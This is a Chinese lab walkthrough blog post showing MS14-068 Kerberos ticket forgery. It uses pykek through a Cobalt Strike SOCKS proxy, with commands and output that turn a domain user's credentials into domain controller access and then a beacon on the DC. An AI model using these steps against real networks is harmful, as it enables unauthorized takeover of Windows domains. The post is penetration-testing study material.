拓扑图

攻击者(kali) 位于 192.168.245.0/24 网段,域环境位于 192.168.31.0/24 网段。

域中有一台 win7 有两张网卡,可以同时访问两个网段,以这台机器作为跳板机进入域环境。

假设现在已经有一组域用户的账号密码

user1  321!@#qwe

获取用户的 sid

whoami /user

下面使用 pykek 生成票据,首先用 cs 开一个 socks 代理,然后用 proxychainspykek 带入内网

proxychains python ms14-068.py -u user1@demo.ad -s S-1-5-21-2864277510-2444243591-773573486-1112 -d 192.168.1.100 -p '321!@#qwe'

其中

  • demo.ad 为 域名
  • user1 为域中的一个用户
  • 321!@#qweuser1 的密码
  • user1sidS-1-5-21-2864277510-2444243591-773573486-1112
  • 192.168.1.100 为域控的 IP

执行完毕后会在当前目录下生成一个 .ccache 的文件

# proxychains python ms14-068.py -u user1@demo.ad -s S-1-5-21-2864277510-2444243591-773573486-1112 -d 192.168.1.100 -p '321!@#qwe'
ProxyChains-3.1 (http://proxychains.sf.net)
[+] Building AS-REQ for 192.168.1.100... Done!
[+] Sending AS-REQ to 192.168.1.100...|S-chain|-<>-127.0.0.1:13491-<><>-192.168.1.100:88-<><>-OK
Done!
[+] Receiving AS-REP from 192.168.1.100... Done!
[+] Parsing AS-REP from 192.168.1.100... Done!
[+] Building TGS-REQ for 192.168.1.100... Done!
[+] Sending TGS-REQ to 192.168.1.100...|S-chain|-<>-127.0.0.1:13491-<><>-192.168.1.100:88-<><>-OK
Done!
[+] Receiving TGS-REP from 192.168.1.100... Done!
[+] Parsing TGS-REP from 192.168.1.100... Done!
[+] Creating ccache file 'TGT_user1@demo.ad.ccache'... Done!

然后使用 KrbCredExport.ccachekirbi 格式。

# python KrbCredExport/KrbCredExport.py TGT_user1@demo.ad.ccache user1.ticket
CCache File Found, Converting to kirbi

转换后的文件保存在 user1.ticket , 然后可以用 cs 加载这个文件。

下面先看看没有加载前的权限。

首先获取域控的机器名。

shell net group "domain controllers" /domain

所以 域控的主机名为

WIN-OA43324ZI95.demo.ad

然后 net use 一下 ,发现是不能访问的。

net use \\WIN-OA43324ZI95.demo.ad\c$

然后加载 user1.ticket 文件, 再次执行发现可以访问域控资源,已经得到域控的权限。

注: 一定要用 域控的主机全名 而不要用 ip 。

然后使用当前对话对域控进行 psh 攻击 ,使用 smbbeacon

过一会就可以看到域控连上来了。

参考

https://blog.cptjesus.com/posts/ms14068
https://zhuanlan.zhihu.com/p/26171460
内网渗透中mimikatz的使用(https://www.jianshu.com/p/a3ddd7502c09)

最新文章

  1. Linux定时任务设定
  2. 开发常用到的terminal命令
  3. PHP学习笔记:APACHE配置虚拟目录、一个站点使用多域名配置方式
  4. 【Todo】Python面试题分析记录(修饰器等)
  5. go循环
  6. 在用的vim插件
  7. diamond专题(三)—— diamond架构
  8. C++程序设计实践指导1.7超长数列中n个数排序改写要求实现
  9. Json安全
  10. window.setInterval与window.setTimeout使用实例
  11. Effective Java 第三版——12. 始终重写 toString 方法
  12. c++常用
  13. [NIO-4]选择器
  14. EasyUI Tree节点拖动到指定容器
  15. GsonUtil工具类
  16. 判断数组对象里面的某个属性全部为true才执行下一步操作
  17. linux学习笔记-目录结构(1)
  18. javascript 作用域、作用域链理解
  19. Node.js- sublime搭建node的编译环境
  20. Dataframe 新增一列, apply 通用方法

热门文章

  1. Linux inode空间占满 “no space left on device”
  2. 德哥PostgreSQL学习资料汇总(转)
  3. Redis笔记(3)多数据库实现
  4. vuejs之Vue Devtools
  5. Error:fatal: Not a git repository (or any of the parent directories): .git
  6. 探讨e.target与e.currentTarget
  7. Django model转字典的几种方法
  8. Vue笔记:使用 VS Code 断点调试
  9. TensorFlow object detection API应用--配置
  10. Android so文件进阶 &lt;一&gt;